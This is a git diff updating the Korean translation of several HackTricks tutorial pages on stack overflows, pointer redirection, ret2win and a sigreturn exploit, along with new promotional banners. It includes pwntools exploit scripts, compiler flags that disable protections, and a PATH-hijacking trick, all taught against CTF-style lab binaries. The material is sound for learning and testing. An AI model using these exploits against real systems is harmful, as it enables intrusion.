@@ -144,11 +145,11 @@ return 0;
```
## Exploit
-**`vdso`** 섹션에서 오프셋 **`0x7b0`**에 **`sigreturn`** 호출을 찾을 수 있습니다:
+**`vdso`** 섹션에서 **`sigreturn`** 호출을 **`0x7b0`** 오프셋에서 찾을 수 있습니다:
-따라서 누출된 경우, 바이너리가 이를 로드하지 않는 경우에도 **`sigreturn`에 액세스할 수 있습니다**.
+따라서, 유출되면, 이 주소를 **사용하여 `sigreturn`에 접근할 수 있습니다** 만약 바이너리가 이를 로드하지 않는다면:
```python
from pwn import *
@@ -177,14 +178,29 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-더 많은 정보를 원한다면 vdso를 확인하세요:
+더 많은 정보는 vdso에 대해 확인하세요:
{% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %}
-그리고 `/bin/sh` 주소 우회를 위해 여러 환경 변수를 만들어 해당 주소를 가리킬 수 있습니다. 자세한 정보는 다음을 참고하세요:
+그리고 `/bin/sh`의 주소를 우회하기 위해 여러 개의 환경 변수를 생성할 수 있습니다. 더 많은 정보는:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %}
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+HackTricks 지원하기
+
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/README.md b/binary-exploitation/stack-overflow/README.md
index 1b1a74940..6dd581d80 100644
--- a/binary-exploitation/stack-overflow/README.md
+++ b/binary-exploitation/stack-overflow/README.md
@@ -1,28 +1,29 @@
# 스택 오버플로우
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
-## 스택 오버플로우란
+## 스택 오버플로우란 무엇인가
-**스택 오버플로우**는 프로그램이 할당된 스택에 저장할 수 있는 데이터보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이러한 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 하여 유효한 데이터의 손상, 제어 흐름의 중단 및 악의적인 코드의 실행으로 이어질 수 있습니다. 이 문제는 주로 입력에 대한 경계 확인을 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
+**스택 오버플로우**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 쓸 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터의 손상, 제어 흐름의 중단, 그리고 잠재적으로 악성 코드의 실행을 초래할 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
-이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)** 및 **저장된 베이스 포인터 (EBP/RBP)**가 **스택에 저장**되어 이전 함수로 돌아가기 위해 사용된다는 점입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
+이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기본 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**된다는 것입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
-이 취약점은 일반적으로 함수가 **할당된 양보다 더 많은 바이트를 스택에 복사**하기 때문에 발생합니다. 따라서 스택의 다른 부분을 덮어쓸 수 있습니다.
+취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사할 때** 발생하여 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
-이에 취약한 일부 일반 함수는 **`strcpy`, `strcat`, `sprintf`, `gets`** 등입니다. 또한 **길이 인수를 사용하는** **`fgets`**, **`read` 및 `memcpy`**와 같은 함수는 지정된 길이가 할당된 길이보다 큰 경우 취약하게 사용될 수 있습니다.
+이러한 취약점이 있는 일반적인 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약하게 사용될 수 있습니다.
예를 들어, 다음 함수들이 취약할 수 있습니다:
```c
@@ -35,11 +36,11 @@ printf("You entered: %s\n", buffer);
```
### 스택 오버플로우 오프셋 찾기
-스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 제공하고 (`python3 -c 'print("A"*1000)'`) **주소 `0x41414141`에 액세스를 시도했다는** `Segmentation Fault`가 발생하는지 확인하는 것입니다.
+스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 입력의 `A`s를 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는 것을 나타내는 `Segmentation Fault`**를 기대하는 것입니다.
-또한, 스택 오버플로우 취약점을 발견한 후에는 **리턴 주소를 덮어쓸 수 있는 오프셋을 찾아야** 합니다. 이를 위해 보통 **De Bruijn sequence**가 사용됩니다. 이는 크기가 _k_인 알파벳과 길이가 _n_인 부분 수열에 대해 모든 가능한 길이 _n_의 부분 수열이 연속적인 부분 수열로 정확히 한 번씩 나타나는 **순환 수열**입니다.
+게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 시퀀스**가 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 시퀀스에 대해, **모든 가능한 길이 _n_의 부분 시퀀스가 정확히 한 번** 연속된 부분 시퀀스로 나타나는 **순환 시퀀스**입니다.
-이렇게 하면 EIP를 제어하기 위해 필요한 오프셋을 수동으로 찾아야 하는 대신, 이러한 시퀀스 중 하나를 패딩으로 사용하고 그것을 덮어쓰는 바이트의 오프셋을 찾을 수 있습니다.
+이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이, 이러한 시퀀스 중 하나를 패딩으로 사용하고 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
이를 위해 **pwntools**를 사용할 수 있습니다:
```python
@@ -60,24 +61,24 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
-## 스택 오버플로우 Exploiting
+## 스택 오버플로우 악용하기
-오버플로우 발생 시 (오버플로우 크기가 충분히 큰 경우) **스택 내부의 로컬 변수 값들을 덮어쓸 수 있게** 되며, 저장된 **EBP/RBP 및 EIP/RIP (또는 그 이상)**에 도달할 때까지 덮어쓸 수 있습니다.\
-이 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정**하여 함수가 종료될 때 **사용자가 지정한 곳으로 제어 흐름이 리다이렉트**되도록 하는 것입니다.
+오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸 수** 있습니다. **EBP/RBP와 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
+이러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**입니다. 이렇게 하면 함수가 끝날 때 **제어 흐름이 사용자가 지정한 위치로 리디렉션됩니다**.
-그러나 다른 시나리오에서는 간단한 CTF 챌린지와 같이 **스택 내의 일부 변수 값들을 덮어쓰는 것만으로도** 악용이 가능할 수 있습니다.
+그러나 다른 시나리오에서는 **스택 내의 일부 변수 값을 덮어쓰는 것만으로도** 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서).
### Ret2win
-이 유형의 CTF 챌린지에서는 **바이너리 내부에 있는 함수**가 **호출되지 않고**, **이를 호출하여 이기기 위해 필요한 함수**가 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋을 찾고**, 호출할 함수의 주소를 찾아야 합니다 ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 비활성화된 경우가 많음). 따라서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
+이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리 내에 존재하며, 이를 호출해야 승리할 수 있습니다**. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋을 찾고** **호출할 함수의 주소를 찾기만 하면 됩니다**(보통 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 비활성화되어 있음) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
{% endcontent-ref %}
-### 스택 쉘코드
+### 스택 셸코드
-이 시나리오에서 공격자는 스택에 쉘코드를 배치하고 제어 가능한 EIP/RIP를 악용하여 쉘코드로 이동하고 임의의 코드를 실행할 수 있습니다:
+이 시나리오에서 공격자는 스택에 셸코드를 배치하고 제어된 EIP/RIP를 악용하여 셸코드로 점프하고 임의의 코드를 실행할 수 있습니다:
{% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/)
@@ -85,24 +86,39 @@ pattern search $rsp #Search the offset given the content of $rsp
### ROP 및 Ret2... 기술
-이 기술은 이전 기술의 주요 보호 기능인 **실행 불가능한 스택 (NX)**를 우회하는 기본 프레임워크입니다. 이를 통해 바이너리 내의 기존 명령을 악용하여 임의의 명령을 실행하는 여러 기술 (ret2lib, ret2syscall 등)을 수행할 수 있습니다:
+이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 이는 기존의 바이너리 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %}
-## 힙 오버플로우 Heap Overflows
+## 힙 오버플로우
-오버플로우가 항상 스택에 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다:
+오버플로우는 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다:
{% content-ref url="../libc-heap/heap-overflow.md" %}
[heap-overflow.md](../libc-heap/heap-overflow.md)
{% endcontent-ref %}
-## 보호 유형들 Types of protections
+## 보호 유형
-취약점 악용을 방지하려는 여러 보호 기능이 있습니다. 이를 확인하려면 다음을 참조하십시오:
+취약점 악용을 방지하기 위한 여러 가지 보호 장치가 있습니다. 자세한 내용은 다음을 확인하세요:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
{% endcontent-ref %}
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+HackTricks 지원하기
+
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/pointer-redirecting.md b/binary-exploitation/stack-overflow/pointer-redirecting.md
index ad2a1627a..6d362e52b 100644
--- a/binary-exploitation/stack-overflow/pointer-redirecting.md
+++ b/binary-exploitation/stack-overflow/pointer-redirecting.md
@@ -1,53 +1,55 @@
-# 포인터 리다이렉팅
+# 포인터 리디렉션
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹 배우기
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
## 문자열 포인터
-함수 호출이 스택에 있는 문자열의 주소를 사용할 것이라면, 버퍼 오버플로우를 악용하여 **이 주소를 덮어쓰고** 이진 파일 내의 **다른 문자열의 주소를 넣을 수 있습니다**.
+함수 호출이 스택에 위치한 문자열의 주소를 사용할 경우, 버퍼 오버플로우를 악용하여 **이 주소를 덮어쓰고** 바이너리 내부에 **다른 문자열의 주소를 넣는** 것이 가능합니다.
-예를 들어 **`system`** 함수 호출이 **명령을 실행할 문자열의 주소를 사용할 경우**, 공격자는 스택에 **다른 문자열의 주소를 넣을 수 있습니다**, **`export PATH=.:$PATH`** 및 현재 디렉토리에 첫 번째 문자열의 이름을 가진 스크립트를 만들 수 있습니다. 이는 이진 파일에서 실행될 것입니다.
+예를 들어 **`system`** 함수 호출이 **명령을 실행하기 위해 문자열의 주소를 사용할 경우**, 공격자는 **스택에 다른 문자열의 주소를 배치하고**, **`export PATH=.:$PATH`**를 사용하여 현재 디렉토리에 **새 문자열의 첫 글자 이름을 가진 스크립트를 생성**할 수 있습니다. 이는 바이너리에 의해 실행됩니다.
-이에 대한 **예제**를 다음에서 찾을 수 있습니다:
+다음에서 **예제**를 찾을 수 있습니다:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
-* 32비트, 스택에 있는 플래그 문자열의 주소를 변경하여 `puts`에 의해 출력
+* 32비트, 스택에서 플래그 문자열의 주소를 변경하여 `puts`에 의해 출력되도록 함
## 함수 포인터
-문자열 포인터와 동일하지만 함수에 적용되는 경우, **스택에 호출될 함수의 주소가 포함**되어 있으면 **변경할 수 있습니다** (예: **`system`** 호출).
+문자열 포인터와 동일하지만 함수에 적용됩니다. **스택에 호출될 함수의 주소가 포함되어 있는 경우**, 이를 **변경하는 것이 가능합니다** (예: **`system`** 호출).
다음에서 예제를 찾을 수 있습니다:
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
-## 참고
+## 참고 문헌
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹 배우기
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/ret2win/README.md b/binary-exploitation/stack-overflow/ret2win/README.md
index 6077b9b52..669543fad 100644
--- a/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/binary-exploitation/stack-overflow/ret2win/README.md
@@ -1,26 +1,27 @@
# Ret2win
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!
+Support HackTricks
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## 기본 정보
+## Basic Information
-**Ret2win** 도전 과제는 **바이너리 공격**을 포함하는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리입니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내의 특정하지 않은 함수를 실행하는 것입니다. 이 함수는 일반적으로 `win`, `flag` 등으로 명명되며 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 도전 과제는 주로 **스택**의 **리턴 어드레스**를 덮어쓰고 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 예시를 통해 더 자세히 설명하겠습니다:
+**Ret2win** 챌린지는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리로, 특히 **binary exploitation**과 관련된 작업에서 그렇습니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 보통 `win`, `flag`와 같은 이름을 가집니다. 이 함수가 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 이 챌린지는 일반적으로 스택의 **return address**를 덮어써서 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 다음은 예제를 포함한 더 자세한 설명입니다:
-### C 예시
+### C Example
-취약점이 있는 간단한 C 프로그램과 호출할 `win` 함수가 있는 C 프로그램을 고려해보겠습니다:
+취약점이 있는 간단한 C 프로그램과 우리가 호출하려는 `win` 함수가 있다고 가정해 보겠습니다:
```c
#include
#include
@@ -39,19 +40,19 @@ vulnerable_function();
return 0;
}
```
-이 프로그램을 스택 보호 기능 없이 컴파일하고 **ASLR**를 비활성화하려면 다음 명령을 사용할 수 있습니다:
+이 프로그램을 스택 보호 없이 **ASLR**을 비활성화하여 컴파일하려면 다음 명령어를 사용할 수 있습니다:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
-* `-m32`: 프로그램을 32비트 바이너리로 컴파일합니다 (선택 사항이지만 CTF 도전 과제에서 일반적입니다).
-* `-fno-stack-protector`: 스택 오버플로우에 대한 보호 기능을 비활성화합니다.
+* `-m32`: 프로그램을 32비트 바이너리로 컴파일합니다 (선택 사항이지만 CTF 챌린지에서 일반적입니다).
+* `-fno-stack-protector`: 스택 오버플로우에 대한 보호를 비활성화합니다.
* `-z execstack`: 스택에서 코드 실행을 허용합니다.
-* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 `win` 함수의 주소가 변경되지 않도록 합니다.
-* `-o vulnerable`: 출력 파일의 이름을 `vulnerable`로 지정합니다.
+* `-no-pie`: `win` 함수의 주소가 변경되지 않도록 위치 독립 실행 파일을 비활성화합니다.
+* `-o vulnerable`: 출력 파일 이름을 `vulnerable`로 설정합니다.
-### Pwntools를 사용한 Python Exploit
+### Pwntools를 이용한 Python 익스플로잇
-해킹에는 **pwntools**를 사용할 것이며, 이는 해킹을 위한 강력한 CTF 프레임워크입니다. Exploit 스크립트는 버퍼 오버플로우를 유발하고 반환 주소를 `win` 함수의 주소로 덮어씁니다.
+익스플로잇을 위해 **pwntools**를 사용할 것입니다. 이는 익스플로잇 작성을 위한 강력한 CTF 프레임워크입니다. 익스플로잇 스크립트는 버퍼를 오버플로우하고 `win` 함수의 주소로 반환 주소를 덮어쓰는 페이로드를 생성합니다.
```python
from pwn import *
@@ -71,44 +72,44 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
-`win` 함수의 주소를 찾으려면 **gdb**, **objdump**, 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어 `objdump`를 사용하여 다음과 같이 할 수 있습니다:
+`win` 함수의 주소를 찾으려면 **gdb**, **objdump** 또는 이진 파일을 검사할 수 있는 다른 도구를 사용할 수 있습니다. 예를 들어, `objdump`를 사용하여 다음과 같이 할 수 있습니다:
```sh
objdump -d vulnerable | grep win
```
-이 명령은 `win` 함수의 어셈블리를 보여주며 시작 주소를 포함합니다.
+이 명령은 `win` 함수의 어셈블리를 보여주며, 시작 주소를 포함합니다.
-Python 스크립트는 `vulnerable_function`에서 처리될 때 정확히 조작된 메시지를 보내어 버퍼 오버플로우를 발생시키고 스택의 반환 주소를 `win`의 주소로 덮어씁니다. `vulnerable_function`이 반환될 때 `main`으로 반환하거나 종료하는 대신 `win`으로 이동하여 메시지가 출력됩니다.
+Python 스크립트는 `vulnerable_function`에 의해 처리될 때 버퍼를 오버플로우하고 스택의 반환 주소를 `win`의 주소로 덮어쓰는 정교하게 제작된 메시지를 보냅니다. `vulnerable_function`이 반환될 때, `main`으로 반환하거나 종료하는 대신 `win`으로 점프하고 메시지가 출력됩니다.
-## 보호 기능
+## 보호 조치
-* [**PIE**](../../common-binary-protections-and-bypasses/pie/)은 **비활성화**되어야 합니다. 그렇지 않으면 주소가 실행마다 신뢰할 수 없게 되어 함수가 저장될 주소가 항상 동일하지 않아서 win 함수가 로드된 위치를 파악하기 위해 일종의 leak이 필요합니다. 오버플로우를 일으키는 함수가 `read`와 같은 경우, 반환 주소를 win 함수로 변경하기 위해 1 또는 2바이트의 **부분 덮어쓰기**를 수행할 수 있습니다. ASLR 작동 방식 때문에 마지막 세 개의 16진수는 무작위화되지 않으므로 올바른 반환 주소를 얻을 **1/16 확률** (1개의 16진수)이 있습니다.
-* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
+* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **는 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, `win` 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다. 오버플로우를 유발하는 함수가 `read` 또는 유사한 경우, 반환 주소를 `win` 함수로 변경하기 위해 1 또는 2 바이트의 **부분 덮어쓰기**를 수행할 수 있습니다. ASLR의 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 **1/16** (1 니블)입니다.
+* [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
-## 다른 예제 및 참고 자료
+## 기타 예제 및 참조
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32비트, ASLR 없음
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
-* 64비트, ASLR 있음, 바이너리 주소의 leak 포함
